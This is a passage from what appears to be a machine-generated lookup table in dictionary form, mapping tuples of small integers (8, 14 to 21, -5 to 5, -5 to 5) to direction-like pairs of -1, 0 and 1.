1, -5): (1, 1), (8, 14, 1, -4): (1, 1), (8, 14, 1, -3): (1, 1), (8, 14, 1, -2): (1, 1), (8, 14, 1, -1): (0, 1), (8, 14, 1, 0): (-1, 1), (8, 14, 1, 1): (-1, 1), (8, 14, 1, 2): (-1, 1), (8, 14, 1, 3): (-1, 1), (8, 14, 1, 4): (-1, 0), (8, 14, 1, 5): (-1, -1), (8, 14, 2, -5): (0, 1), (8, 14, 2, -4): (0, 1), (8, 14, 2, -3): (0, 1), (8, 14, 2, -2): (0, 1), (8, 14, 2, -1): (0, 1), (8, 14, 2, 0): (-1, 1), (8, 14, 2, 1): (-1, 1), (8, 14, 2, 2): (-1, 1), (8, 14, 2, 3): (-1, 1), (8, 14, 2, 4): (-1, 1), (8, 14, 2, 5): (-1, 1), (8, 14, 3, -5): (0, 1), (8, 14, 3, -4): (0, 1), (8, 14, 3, -3): (0, 1), (8, 14, 3, -2): (0, 1), (8, 14, 3, -1): (0, 1), (8, 14, 3, 0): (0, 1), (8, 14, 3, 1): (0, 1), (8, 14, 3, 2): (0, 1), (8, 14, 3, 3): (0, 1), (8, 14, 3, 4): (0, 0), (8, 14, 3, 5): (-1, -1), (8, 14, 4, -5): (0, 1), (8, 14, 4, -4): (0, 1), (8, 14, 4, -3): (0, 1), (8, 14, 4, -2): (0, 1), (8, 14, 4, -1): (0, 1), (8, 14, 4, 0): (0, 1), (8, 14, 4, 1): (0, 1), (8, 14, 4, 2): (0, 1), (8, 14, 4, 3): (0, 1), (8, 14, 4, 4): (0, 0), (8, 14, 4, 5): (-1, -1), (8, 14, 5, -5): (0, 1), (8, 14, 5, -4): (0, 1), (8, 14, 5, -3): (0, 1), (8, 14, 5, -2): (0, 1), (8, 14, 5, -1): (0, 1), (8, 14, 5, 0): (0, 1), (8, 14, 5, 1): (0, 1), (8, 14, 5, 2): (0, 1), (8, 14, 5, 3): (0, 1), (8, 14, 5, 4): (0, 0), (8, 14, 5, 5): (-1, -1), (8, 15, -5, -5): (0, 1), (8, 15, -5, -4): (0, 1), (8, 15, -5, -3): (0, 1), (8, 15, -5, -2): (0, 1), (8, 15, -5, -1): (0, 1), (8, 15, -5, 0): (0, 1), (8, 15, -5, 1): (0, 1), (8, 15, -5, 2): (0, 1), (8, 15, -5, 3): (0, 0), (8, 15, -5, 4): (0, 1), (8, 15, -5, 5): (0, 1), (8, 15, -4, -5): (0, 1), (8, 15, -4, -4): (0, 1), (8, 15, -4, -3): (0, 1), (8, 15, -4, -2): (0, 1), (8, 15, -4, -1): (0, 1), (8, 15, -4, 0): (0, 1), (8, 15, -4, 1): (0, 1), (8, 15, -4, 2): (0, 1), (8, 15, -4, 3): (0, 0), (8, 15, -4, 4): (0, 1), (8, 15, -4, 5): (0, 1), (8, 15, -3, -5): (0, 1), (8, 15, -3, -4): (0, 1), (8, 15, -3, -3): (0, 1), (8, 15, -3, -2): (0, 1), (8, 15, -3, -1): (0, 1), (8, 15, -3, 0): (0, 1), (8, 15, -3, 1): (0, 1), (8, 15, -3, 2): (0, 1), (8, 15, -3, 3): (1, 1), (8, 15, -3, 4): (0, 1), (8, 15, -3, 5): (0, 1), (8, 15, -2, -5): (-1, 1), (8, 15, -2, -4): (-1, 1), (8, 15, -2, -3): (-1, 1), (8, 15, -2, -2): (-1, 1), (8, 15, -2, -1): (-1, 1), (8, 15, -2, 0): (1, 1), (8, 15, -2, 1): (1, 1), (8, 15, -2, 2): (1, 1), (8, 15, -2, 3): (1, 1), (8, 15, -2, 4): (1, 1), (8, 15, -2, 5): (1, 0), (8, 15, -1, -5): (-1, 1), (8, 15, -1, -4): (-1, 1), (8, 15, -1, -3): (-1, 1), (8, 15, -1, -2): (-1, 1), (8, 15, -1, -1): (1, 1), (8, 15, -1, 0): (1, 1), (8, 15, -1, 1): (1, 1), (8, 15, -1, 2): (1, 1), (8, 15, -1, 3): (1, 1), (8, 15, -1, 4): (1, 1), (8, 15, -1, 5): (1, 0), (8, 15, 0, -5): (1, 1), (8, 15, 0, -4): (1, 1), (8, 15, 0, -3): (1, 1), (8, 15, 0, -2): (1, 1), (8, 15, 0, -1): (1, 1), (8, 15, 0, 0): (1, 1), (8, 15, 0, 1): (0, 1), (8, 15, 0, 2): (0, 1), (8, 15, 0, 3): (0, 1), (8, 15, 0, 4): (0, 1), (8, 15, 0, 5): (0, 1), (8, 15, 1, -5): (1, 1), (8, 15, 1, -4): (1, 1), (8, 15, 1, -3): (1, 1), (8, 15, 1, -2): (1, 1), (8, 15, 1, -1): (0, 1), (8, 15, 1, 0): (0, 1), (8, 15, 1, 1): (-1, 1), (8, 15, 1, 2): (-1, 1), (8, 15, 1, 3): (-1, 1), (8, 15, 1, 4): (-1, 1), (8, 15, 1, 5): (-1, 1), (8, 15, 2, -5): (0, 1), (8, 15, 2, -4): (0, 1), (8, 15, 2, -3): (0, 1), (8, 15, 2, -2): (0, 1), (8, 15, 2, -1): (0, 1), (8, 15, 2, 0): (-1, 1), (8, 15, 2, 1): (-1, 1), (8, 15, 2, 2): (-1, 1), (8, 15, 2, 3): (-1, 1), (8, 15, 2, 4): (-1, 0), (8, 15, 2, 5): (-1, -1), (8, 15, 3, -5): (0, 1), (8, 15, 3, -4): (0, 1), (8, 15, 3, -3): (0, 1), (8, 15, 3, -2): (0, 1), (8, 15, 3, -1): (0, 1), (8, 15, 3, 0): (0, 1), (8, 15, 3, 1): (0, 1), (8, 15, 3, 2): (0, 1), (8, 15, 3, 3): (0, 0), (8, 15, 3, 4): (0, 1), (8, 15, 3, 5): (0, 1), (8, 15, 4, -5): (0, 1), (8, 15, 4, -4): (0, 1), (8, 15, 4, -3): (0, 1), (8, 15, 4, -2): (0, 1), (8, 15, 4, -1): (0, 1), (8, 15, 4, 0): (0, 1), (8, 15, 4, 1): (0, 1), (8, 15, 4, 2): (0, 1), (8, 15, 4, 3): (0, 0), (8, 15, 4, 4): (0, 1), (8, 15, 4, 5): (0, 1), (8, 15, 5, -5): (0, 1), (8, 15, 5, -4): (0, 1), (8, 15, 5, -3): (0, 1), (8, 15, 5, -2): (0, 1), (8, 15, 5, -1): (0, 1), (8, 15, 5, 0): (0, 1), (8, 15, 5, 1): (0, 1), (8, 15, 5, 2): (0, 1), (8, 15, 5, 3): (0, 0), (8, 15, 5, 4): (0, 1), (8, 15, 5, 5): (0, 1), (8, 16, -5, -5): (0, 1), (8, 16, -5, -4): (0, 1), (8, 16, -5, -3): (0, 1), (8, 16, -5, -2): (0, 1), (8, 16, -5, -1): (0, 1), (8, 16, -5, 0): (0, 1), (8, 16, -5, 1): (0, 1), (8, 16, -5, 2): (0, 0), (8, 16, -5, 3): (0, 1), (8, 16, -5, 4): (0, 1), (8, 16, -5, 5): (0, 1), (8, 16, -4, -5): (0, 1), (8, 16, -4, -4): (0, 1), (8, 16, -4, -3): (0, 1), (8, 16, -4, -2): (0, 1), (8, 16, -4, -1): (0, 1), (8, 16, -4, 0): (0, 1), (8, 16, -4, 1): (0, 1), (8, 16, -4, 2): (0, 0), (8, 16, -4, 3): (0, 1), (8, 16, -4, 4): (0, 1), (8, 16, -4, 5): (0, 1), (8, 16, -3, -5): (0, 1), (8, 16, -3, -4): (0, 1), (8, 16, -3, -3): (0, 1), (8, 16, -3, -2): (0, 1), (8, 16, -3, -1): (0, 1), (8, 16, -3, 0): (0, 1), (8, 16, -3, 1): (0, 1), (8, 16, -3, 2): (1, 1), (8, 16, -3, 3): (0, 1), (8, 16, -3, 4): (1, 1), (8, 16, -3, 5): (1, 0), (8, 16, -2, -5): (-1, 1), (8, 16, -2, -4): (-1, 1), (8, 16, -2, -3): (-1, 1), (8, 16, -2, -2): (-1, 1), (8, 16, -2, -1): (-1, 1), (8, 16, -2, 0): (1, 1), (8, 16, -2, 1): (1, 1), (8, 16, -2, 2): (1, 1), (8, 16, -2, 3): (1, 1), (8, 16, -2, 4): (1, 1), (8, 16, -2, 5): (1, 0), (8, 16, -1, -5): (-1, 1), (8, 16, -1, -4): (-1, 1), (8, 16, -1, -3): (-1, 1), (8, 16, -1, -2): (-1, 1), (8, 16, -1, -1): (1, 1), (8, 16, -1, 0): (1, 1), (8, 16, -1, 1): (1, 1), (8, 16, -1, 2): (1, 1), (8, 16, -1, 3): (1, 1), (8, 16, -1, 4): (0, 1), (8, 16, -1, 5): (0, 1), (8, 16, 0, -5): (1, 1), (8, 16, 0, -4): (1, 1), (8, 16, 0, -3): (1, 1), (8, 16, 0, -2): (1, 1), (8, 16, 0, -1): (1, 1), (8, 16, 0, 0): (1, 1), (8, 16, 0, 1): (0, 1), (8, 16, 0, 2): (0, 1), (8, 16, 0, 3): (0, 1), (8, 16, 0, 4): (-1, 1), (8, 16, 0, 5): (-1, 1), (8, 16, 1, -5): (1, 1), (8, 16, 1, -4): (1, 1), (8, 16, 1, -3): (1, 1), (8, 16, 1, -2): (1, 1), (8, 16, 1, -1): (0, 1), (8, 16, 1, 0): (0, 1), (8, 16, 1, 1): (-1, 1), (8, 16, 1, 2): (-1, 1), (8, 16, 1, 3): (-1, 1), (8, 16, 1, 4): (-1, 0), (8, 16, 1, 5): (-1, -1), (8, 16, 2, -5): (0, 1), (8, 16, 2, -4): (0, 1), (8, 16, 2, -3): (0, 1), (8, 16, 2, -2): (0, 1), (8, 16, 2, -1): (0, 1), (8, 16, 2, 0): (-1, 1), (8, 16, 2, 1): (-1, 1), (8, 16, 2, 2): (-1, 1), (8, 16, 2, 3): (-1, 1), (8, 16, 2, 4): (-1, 1), (8, 16, 2, 5): (-1, 1), (8, 16, 3, -5): (0, 1), (8, 16, 3, -4): (0, 1), (8, 16, 3, -3): (0, 1), (8, 16, 3, -2): (0, 1), (8, 16, 3, -1): (0, 1), (8, 16, 3, 0): (0, 1), (8, 16, 3, 1): (0, 1), (8, 16, 3, 2): (0, 0), (8, 16, 3, 3): (0, 1), (8, 16, 3, 4): (0, 1), (8, 16, 3, 5): (0, 1), (8, 16, 4, -5): (0, 1), (8, 16, 4, -4): (0, 1), (8, 16, 4, -3): (0, 1), (8, 16, 4, -2): (0, 1), (8, 16, 4, -1): (0, 1), (8, 16, 4, 0): (0, 1), (8, 16, 4, 1): (0, 1), (8, 16, 4, 2): (0, 0), (8, 16, 4, 3): (0, 1), (8, 16, 4, 4): (0, 1), (8, 16, 4, 5): (0, 1), (8, 16, 5, -5): (0, 1), (8, 16, 5, -4): (0, 1), (8, 16, 5, -3): (0, 1), (8, 16, 5, -2): (0, 1), (8, 16, 5, -1): (0, 1), (8, 16, 5, 0): (0, 1), (8, 16, 5, 1): (0, 1), (8, 16, 5, 2): (0, 0), (8, 16, 5, 3): (0, 1), (8, 16, 5, 4): (0, 1), (8, 16, 5, 5): (0, 1), (8, 17, -5, -5): (0, 1), (8, 17, -5, -4): (0, 1), (8, 17, -5, -3): (0, 1), (8, 17, -5, -2): (0, 1), (8, 17, -5, -1): (0, 1), (8, 17, -5, 0): (0, 1), (8, 17, -5, 1): (0, 0), (8, 17, -5, 2): (0, 1), (8, 17, -5, 3): (0, 1), (8, 17, -5, 4): (0, 1), (8, 17, -5, 5): (0, 1), (8, 17, -4, -5): (0, 1), (8, 17, -4, -4): (0, 1), (8, 17, -4, -3): (0, 1), (8, 17, -4, -2): (0, 1), (8, 17, -4, -1): (0, 1), (8, 17, -4, 0): (0, 1), (8, 17, -4, 1): (0, 0), (8, 17, -4, 2): (0, 1), (8, 17, -4, 3): (0, 1), (8, 17, -4, 4): (0, 1), (8, 17, -4, 5): (0, 1), (8, 17, -3, -5): (0, 1), (8, 17, -3, -4): (0, 1), (8, 17, -3, -3): (0, 1), (8, 17, -3, -2): (0, 1), (8, 17, -3, -1): (0, 1), (8, 17, -3, 0): (0, 1), (8, 17, -3, 1): (0, 0), (8, 17, -3, 2): (0, 1), (8, 17, -3, 3): (1, 1), (8, 17, -3, 4): (0, 1), (8, 17, -3, 5): (0, 1), (8, 17, -2, -5): (-1, 1), (8, 17, -2, -4): (-1, 1), (8, 17, -2, -3): (-1, 1), (8, 17, -2, -2): (-1, 1), (8, 17, -2, -1): (-1, 1), (8, 17, -2, 0): (1, 1), (8, 17, -2, 1): (1, 1), (8, 17, -2, 2): (1, 1), (8, 17, -2, 3): (1, 1), (8, 17, -2, 4): (1, 1), (8, 17, -2, 5): (1, 0), (8, 17, -1, -5): (-1, 1), (8, 17, -1, -4): (-1, 1), (8, 17, -1, -3): (-1, 1), (8, 17, -1, -2): (1, 1), (8, 17, -1, -1): (1, 1), (8, 17, -1, 0): (1, 1), (8, 17, -1, 1): (1, 1), (8, 17, -1, 2): (1, 1), (8, 17, -1, 3): (1, 0), (8, 17, -1, 4): (0, 1), (8, 17, -1, 5): (0, 1), (8, 17, 0, -5): (1, 1), (8, 17, 0, -4): (1, 1), (8, 17, 0, -3): (1, 1), (8, 17, 0, -2): (1, 1), (8, 17, 0, -1): (1, 1), (8, 17, 0, 0): (1, 1), (8, 17, 0, 1): (0, 1), (8, 17, 0, 2): (0, 1), (8, 17, 0, 3): (0, 0), (8, 17, 0, 4): (-1, 1), (8, 17, 0, 5): (-1, 1), (8, 17, 1, -5): (1, 1), (8, 17, 1, -4): (1, 1), (8, 17, 1, -3): (1, 1), (8, 17, 1, -2): (1, 1), (8, 17, 1, -1): (0, 1), (8, 17, 1, 0): (0, 1), (8, 17, 1, 1): (-1, 1), (8, 17, 1, 2): (-1, 1), (8, 17, 1, 3): (-1, 0), (8, 17, 1, 4): (-1, -1), (8, 17, 1, 5): (-1, 1), (8, 17, 2, -5): (0, 1), (8, 17, 2, -4): (0, 1), (8, 17, 2, -3): (0, 1), (8, 17, 2, -2): (0, 1), (8, 17, 2, -1): (0, 1), (8, 17, 2, 0): (-1, 1), (8, 17, 2, 1): (-1, 1), (8, 17, 2, 2): (-1, 1), (8, 17, 2, 3): (-1, 1), (8, 17, 2, 4): (-1, 1), (8, 17, 2, 5): (-1, 1), (8, 17, 3, -5): (0, 1), (8, 17, 3, -4): (0, 1), (8, 17, 3, -3): (0, 1), (8, 17, 3, -2): (0, 1), (8, 17, 3, -1): (0, 1), (8, 17, 3, 0): (0, 1), (8, 17, 3, 1): (0, 0), (8, 17, 3, 2): (0, 1), (8, 17, 3, 3): (0, 1), (8, 17, 3, 4): (0, 1), (8, 17, 3, 5): (0, 1), (8, 17, 4, -5): (0, 1), (8, 17, 4, -4): (0, 1), (8, 17, 4, -3): (0, 1), (8, 17, 4, -2): (0, 1), (8, 17, 4, -1): (0, 1), (8, 17, 4, 0): (0, 1), (8, 17, 4, 1): (0, 0), (8, 17, 4, 2): (0, 1), (8, 17, 4, 3): (0, 1), (8, 17, 4, 4): (0, 1), (8, 17, 4, 5): (0, 1), (8, 17, 5, -5): (0, 1), (8, 17, 5, -4): (0, 1), (8, 17, 5, -3): (0, 1), (8, 17, 5, -2): (0, 1), (8, 17, 5, -1): (0, 1), (8, 17, 5, 0): (0, 1), (8, 17, 5, 1): (0, 0), (8, 17, 5, 2): (0, 1), (8, 17, 5, 3): (0, 1), (8, 17, 5, 4): (0, 1), (8, 17, 5, 5): (0, 1), (8, 18, -5, -5): (0, 1), (8, 18, -5, -4): (0, 1), (8, 18, -5, -3): (0, 1), (8, 18, -5, -2): (0, 1), (8, 18, -5, -1): (0, 1), (8, 18, -5, 0): (0, 0), (8, 18, -5, 1): (0, 1), (8, 18, -5, 2): (0, 1), (8, 18, -5, 3): (0, 1), (8, 18, -5, 4): (0, 1), (8, 18, -5, 5): (0, 1), (8, 18, -4, -5): (0, 1), (8, 18, -4, -4): (0, 1), (8, 18, -4, -3): (0, 1), (8, 18, -4, -2): (0, 1), (8, 18, -4, -1): (0, 1), (8, 18, -4, 0): (0, 0), (8, 18, -4, 1): (0, 1), (8, 18, -4, 2): (0, 1), (8, 18, -4, 3): (0, 1), (8, 18, -4, 4): (0, 1), (8, 18, -4, 5): (0, 1), (8, 18, -3, -5): (0, 1), (8, 18, -3, -4): (0, 1), (8, 18, -3, -3): (0, 1), (8, 18, -3, -2): (0, 1), (8, 18, -3, -1): (0, 1), (8, 18, -3, 0): (0, 0), (8, 18, -3, 1): (0, 1), (8, 18, -3, 2): (0, 1), (8, 18, -3, 3): (0, 1), (8, 18, -3, 4): (0, 1), (8, 18, -3, 5): (0, 1), (8, 18, -2, -5): (-1, 1), (8, 18, -2, -4): (-1, 1), (8, 18, -2, -3): (-1, 1), (8, 18, -2, -2): (-1, 1), (8, 18, -2, -1): (-1, 1), (8, 18, -2, 0): (1, 1), (8, 18, -2, 1): (1, 1), (8, 18, -2, 2): (1, 1), (8, 18, -2, 3): (1, 1), (8, 18, -2, 4): (1, 1), (8, 18, -2, 5): (1, 0), (8, 18, -1, -5): (-1, 1), (8, 18, -1, -4): (-1, 1), (8, 18, -1, -3): (-1, 1), (8, 18, -1, -2): (1, 1), (8, 18, -1, -1): (1, 1), (8, 18, -1, 0): (1, 1), (8, 18, -1, 1): (1, 1), (8, 18, -1, 2): (1, 1), (8, 18, -1, 3): (0, 1), (8, 18, -1, 4): (0, 1), (8, 18, -1, 5): (0, 1), (8, 18, 0, -5): (1, 1), (8, 18, 0, -4): (1, 1), (8, 18, 0, -3): (1, 1), (8, 18, 0, -2): (1, 1), (8, 18, 0, -1): (1, 1), (8, 18, 0, 0): (1, 1), (8, 18, 0, 1): (0, 1), (8, 18, 0, 2): (0, 1), (8, 18, 0, 3): (-1, 1), (8, 18, 0, 4): (-1, 1), (8, 18, 0, 5): (-1, 1), (8, 18, 1, -5): (1, 1), (8, 18, 1, -4): (1, 1), (8, 18, 1, -3): (1, 1), (8, 18, 1, -2): (1, 1), (8, 18, 1, -1): (0, 1), (8, 18, 1, 0): (0, 1), (8, 18, 1, 1): (-1, 1), (8, 18, 1, 2): (-1, 1), (8, 18, 1, 3): (-1, 1), (8, 18, 1, 4): (-1, 0), (8, 18, 1, 5): (-1, -1), (8, 18, 2, -5): (0, 1), (8, 18, 2, -4): (0, 1), (8, 18, 2, -3): (0, 1), (8, 18, 2, -2): (0, 1), (8, 18, 2, -1): (0, 1), (8, 18, 2, 0): (-1, 1), (8, 18, 2, 1): (-1, 1), (8, 18, 2, 2): (-1, 1), (8, 18, 2, 3): (-1, 1), (8, 18, 2, 4): (-1, 1), (8, 18, 2, 5): (-1, 1), (8, 18, 3, -5): (0, 1), (8, 18, 3, -4): (0, 1), (8, 18, 3, -3): (0, 1), (8, 18, 3, -2): (0, 1), (8, 18, 3, -1): (0, 1), (8, 18, 3, 0): (0, 0), (8, 18, 3, 1): (0, 1), (8, 18, 3, 2): (0, 1), (8, 18, 3, 3): (0, 1), (8, 18, 3, 4): (0, 1), (8, 18, 3, 5): (0, 1), (8, 18, 4, -5): (0, 1), (8, 18, 4, -4): (0, 1), (8, 18, 4, -3): (0, 1), (8, 18, 4, -2): (0, 1), (8, 18, 4, -1): (0, 1), (8, 18, 4, 0): (0, 0), (8, 18, 4, 1): (0, 1), (8, 18, 4, 2): (0, 1), (8, 18, 4, 3): (0, 1), (8, 18, 4, 4): (0, 1), (8, 18, 4, 5): (0, 1), (8, 18, 5, -5): (0, 1), (8, 18, 5, -4): (0, 1), (8, 18, 5, -3): (0, 1), (8, 18, 5, -2): (0, 1), (8, 18, 5, -1): (0, 1), (8, 18, 5, 0): (0, 0), (8, 18, 5, 1): (0, 1), (8, 18, 5, 2): (0, 1), (8, 18, 5, 3): (0, 1), (8, 18, 5, 4): (0, 1), (8, 18, 5, 5): (0, 1), (8, 19, -5, -5): (0, 1), (8, 19, -5, -4): (0, 1), (8, 19, -5, -3): (0, 1), (8, 19, -5, -2): (0, 1), (8, 19, -5, -1): (0, 0), (8, 19, -5, 0): (0, 1), (8, 19, -5, 1): (0, 1), (8, 19, -5, 2): (0, 1), (8, 19, -5, 3): (0, 1), (8, 19, -5, 4): (0, 1), (8, 19, -5, 5): (0, 1), (8, 19, -4, -5): (0, 1), (8, 19, -4, -4): (0, 1), (8, 19, -4, -3): (0, 1), (8, 19, -4, -2): (0, 1), (8, 19, -4, -1): (0, 0), (8, 19, -4, 0): (0, 1), (8, 19, -4, 1): (0, 1), (8, 19, -4, 2): (0, 1), (8, 19, -4, 3): (0, 1), (8, 19, -4, 4): (0, 1), (8, 19, -4, 5): (0, 1), (8, 19, -3, -5): (0, 1), (8, 19, -3, -4): (0, 1), (8, 19, -3, -3): (0, 1), (8, 19, -3, -2): (0, 1), (8, 19, -3, -1): (0, 0), (8, 19, -3, 0): (0, 1), (8, 19, -3, 1): (0, 1), (8, 19, -3, 2): (0, 1), (8, 19, -3, 3): (0, 1), (8, 19, -3, 4): (1, 1), (8, 19, -3, 5): (1, 0), (8, 19, -2, -5): (-1, 1), (8, 19, -2, -4): (-1, 1), (8, 19, -2, -3): (-1, 1), (8, 19, -2, -2): (-1, 1), (8, 19, -2, -1): (-1, 0), (8, 19, -2, 0): (1, 1), (8, 19, -2, 1): (1, 1), (8, 19, -2, 2): (1, 1), (8, 19, -2, 3): (1, 1), (8, 19, -2, 4): (1, 1), (8, 19, -2, 5): (1, 0), (8, 19, -1, -5): (-1, 1), (8, 19, -1, -4): (-1, 1), (8, 19, -1, -3): (-1, 1), (8, 19, -1, -2): (1, 1), (8, 19, -1, -1): (1, 1), (8, 19, -1, 0): (1, 1), (8, 19, -1, 1): (1, 1), (8, 19, -1, 2): (1, 1), (8, 19, -1, 3): (0, 1), (8, 19, -1, 4): (0, 1), (8, 19, -1, 5): (0, 1), (8, 19, 0, -5): (1, 1), (8, 19, 0, -4): (1, 1), (8, 19, 0, -3): (1, 1), (8, 19, 0, -2): (1, 1), (8, 19, 0, -1): (1, 1), (8, 19, 0, 0): (0, 1), (8, 19, 0, 1): (0, 1), (8, 19, 0, 2): (0, 1), (8, 19, 0, 3): (-1, 1), (8, 19, 0, 4): (-1, 1), (8, 19, 0, 5): (-1, 1), (8, 19, 1, -5): (1, 1), (8, 19, 1, -4): (1, 1), (8, 19, 1, -3): (1, 1), (8, 19, 1, -2): (1, 1), (8, 19, 1, -1): (1, 0), (8, 19, 1, 0): (-1, 1), (8, 19, 1, 1): (-1, 1), (8, 19, 1, 2): (-1, 1), (8, 19, 1, 3): (-1, 1), (8, 19, 1, 4): (-1, 0), (8, 19, 1, 5): (-1, -1), (8, 19, 2, -5): (0, 1), (8, 19, 2, -4): (0, 1), (8, 19, 2, -3): (0, 1), (8, 19, 2, -2): (0, 1), (8, 19, 2, -1): (0, 0), (8, 19, 2, 0): (-1, 1), (8, 19, 2, 1): (-1, 1), (8, 19, 2, 2): (-1, 1), (8, 19, 2, 3): (-1, 1), (8, 19, 2, 4): (-1, 1), (8, 19, 2, 5): (-1, 1), (8, 19, 3, -5): (0, 1), (8, 19, 3, -4): (0, 1), (8, 19, 3, -3): (0, 1), (8, 19, 3, -2): (0, 1), (8, 19, 3, -1): (0, 0), (8, 19, 3, 0): (0, 1), (8, 19, 3, 1): (0, 1), (8, 19, 3, 2): (0, 1), (8, 19, 3, 3): (0, 1), (8, 19, 3, 4): (0, 1), (8, 19, 3, 5): (0, 1), (8, 19, 4, -5): (0, 1), (8, 19, 4, -4): (0, 1), (8, 19, 4, -3): (0, 1), (8, 19, 4, -2): (0, 1), (8, 19, 4, -1): (0, 0), (8, 19, 4, 0): (0, 1), (8, 19, 4, 1): (0, 1), (8, 19, 4, 2): (0, 1), (8, 19, 4, 3): (0, 1), (8, 19, 4, 4): (0, 1), (8, 19, 4, 5): (0, 1), (8, 19, 5, -5): (0, 1), (8, 19, 5, -4): (0, 1), (8, 19, 5, -3): (0, 1), (8, 19, 5, -2): (0, 1), (8, 19, 5, -1): (0, 0), (8, 19, 5, 0): (0, 1), (8, 19, 5, 1): (0, 1), (8, 19, 5, 2): (0, 1), (8, 19, 5, 3): (0, 1), (8, 19, 5, 4): (0, 1), (8, 19, 5, 5): (0, 1), (8, 20, -5, -5): (0, 1), (8, 20, -5, -4): (0, 1), (8, 20, -5, -3): (0, 1), (8, 20, -5, -2): (0, 0), (8, 20, -5, -1): (0, 1), (8, 20, -5, 0): (0, 1), (8, 20, -5, 1): (0, 1), (8, 20, -5, 2): (0, 1), (8, 20, -5, 3): (0, 1), (8, 20, -5, 4): (0, 1), (8, 20, -5, 5): (0, 1), (8, 20, -4, -5): (0, 1), (8, 20, -4, -4): (0, 1), (8, 20, -4, -3): (0, 1), (8, 20, -4, -2): (0, 0), (8, 20, -4, -1): (0, 1), (8, 20, -4, 0): (0, 1), (8, 20, -4, 1): (0, 1), (8, 20, -4, 2): (0, 1), (8, 20, -4, 3): (0, 1), (8, 20, -4, 4): (0, 1), (8, 20, -4, 5): (0, 1), (8, 20, -3, -5): (0, 1), (8, 20, -3, -4): (0, 1), (8, 20, -3, -3): (0, 1), (8, 20, -3, -2): (0, 0), (8, 20, -3, -1): (0, 1), (8, 20, -3, 0): (0, 1), (8, 20, -3, 1): (0, 1), (8, 20, -3, 2): (0, 1), (8, 20, -3, 3): (1, 1), (8, 20, -3, 4): (1, 1), (8, 20, -3, 5): (1, 0), (8, 20, -2, -5): (-1, 1), (8, 20, -2, -4): (-1, 1), (8, 20, -2, -3): (-1, 1), (8, 20, -2, -2): (-1, 0), (8, 20, -2, -1): (-1, 1), (8, 20, -2, 0): (1, 1), (8, 20, -2, 1): (1, 1), (8, 20, -2, 2): (1, 1), (8, 20, -2, 3): (1, 1), (8, 20, -2, 4): (1, 0), (8, 20, -2, 5): (1, -1), (8, 20, -1, -5): (-1, 1), (8, 20, -1, -4): (-1, 1), (8, 20, -1, -3): (-1, 1), (8, 20, -1, -2): (-1, 1), (8, 20, -1, -1): (1, 1), (8, 20, -1, 0): (1, 1), (8, 20, -1, 1): (1, 1), (8, 20, -1, 2): (0, 1), (8, 20, -1, 3): (0, 1), (8, 20, -1, 4): (0, 0), (8, 20, -1, 5): (0, -1), (8, 20, 0, -5): (1, 1), (8, 20, 0, -4): (1, 1), (8, 20, 0, -3): (1, 1), (8, 20, 0, -2): (1, 1), (8, 20, 0, -1): (1, 1), (8, 20, 0, 0): (1, 1), (8, 20, 0, 1): (0, 1), (8, 20, 0, 2): (-1, 1), (8, 20, 0, 3): (-1, 1), (8, 20, 0, 4): (-1, 0), (8, 20, 0, 5): (-1, -1), (8, 20, 1, -5): (1, 1), (8, 20, 1, -4): (1, 1), (8, 20, 1, -3): (1, 1), (8, 20, 1, -2): (1, 0), (8, 20, 1, -1): (0, 1), (8, 20, 1, 0): (0, 1), (8, 20, 1, 1): (-1, 1), (8, 20, 1, 2): (-1, 1), (8, 20, 1, 3): (-1, 0), (8, 20, 1, 4): (-1, -1), (8, 20, 1, 5): (-1, -1), (8, 20, 2, -5): (0, 1), (8, 20, 2, -4): (0, 1), (8, 20, 2, -3): (0, 1), (8, 20, 2, -2): (0, 0), (8, 20, 2, -1): (0, 1), (8, 20, 2, 0): (-1, 1), (8, 20, 2, 1): (-1, 1), (8, 20, 2, 2): (-1, 1), (8, 20, 2, 3): (-1, 1), (8, 20, 2, 4): (-1, 1), (8, 20, 2, 5): (-1, 1), (8, 20, 3, -5): (0, 1), (8, 20, 3, -4): (0, 1), (8, 20, 3, -3): (0, 1), (8, 20, 3, -2): (0, 0), (8, 20, 3, -1): (0, 1), (8, 20, 3, 0): (0, 1), (8, 20, 3, 1): (0, 1), (8, 20, 3, 2): (0, 1), (8, 20, 3, 3): (0, 1), (8, 20, 3, 4): (0, 1), (8, 20, 3, 5): (0, 1), (8, 20, 4, -5): (0, 1), (8, 20, 4, -4): (0, 1), (8, 20, 4, -3): (0, 1), (8, 20, 4, -2): (0, 0), (8, 20, 4, -1): (0, 1), (8, 20, 4, 0): (0, 1), (8, 20, 4, 1): (0, 1), (8, 20, 4, 2): (0, 1), (8, 20, 4, 3): (0, 1), (8, 20, 4, 4): (0, 1), (8, 20, 4, 5): (0, 1), (8, 20, 5, -5): (0, 1), (8, 20, 5, -4): (0, 1), (8, 20, 5, -3): (0, 1), (8, 20, 5, -2): (0, 0), (8, 20, 5, -1): (0, 1), (8, 20, 5, 0): (0, 1), (8, 20, 5, 1): (0, 1), (8, 20, 5, 2): (0, 1), (8, 20, 5, 3): (0, 1), (8, 20, 5, 4): (0, 1), (8, 20, 5, 5): (0, 1), (8, 21, -5, -5): (0, 1), (8, 21, -5, -4): (0, 1), (8, 21, -5, -3): (0, 0), (8, 21, -5, -2): (0, 1), (8, 21, -5, -1): (0, 1), (8, 21, -5, 0): (0, 1), (8, 21, -5, 1): (0, 1), (8, 21, -5, 2): (0, 1), (8, 21, -5, 3): (0, 1), (8, 21, -5, 4): (0, 1), (8, 21, -5, 5): (0, 1), (8, 21, -4, -5): (0, 1), (8, 21, -4, -4): (0, 1), (8, 21, -4, -3): (0, 0), (8, 21, -4, -2): (0, 1), (8, 21, -4, -1): (0, 1), (8, 21, -4, 0): (0, 1), (8, 21, -4, 1): (0, 1), (8, 21, -4, 2): (0, 1), (8, 21, -4, 3): (0, 1), (8, 21, -4, 4): (0, 1), (8, 21, -4, 5): (0, 1), (8, 21, -3, -5): (0, 1), (8, 21, -3, -4): (0, 1), (8, 21, -3, -3): (0, 0), (8, 21, -3, -2): (0, 1), (8, 21, -3, -1): (0, 1), (8, 21, -3, 0): (0, 1), (8, 21, -3, 1): (0, 1), (8, 21, -3, 2): (0, 1), (8, 21, -3, 3): (1, 1), (8, 21, -3, 4): (1, 1), (8, 21, -3, 5): (1, 0), (8, 21, -2, -5): (-1, 1), (8, 21, -2, -4): (-1, 1), (8, 21, -2, -3): (-1, 0), (8, 21, -2, -2): (-1, 1), (8, 21, -2, -1): (1, 1), (8, 21, -2, 0): (1, 1), (8, 21, -2, 1): (1, 1), (8, 21, -2, 2): (1, 1), (8, 21, -2, 3): (1, 1), (8, 21, -2, 4): (0, 1), (8, 21, -2, 5): (0, 1), (8, 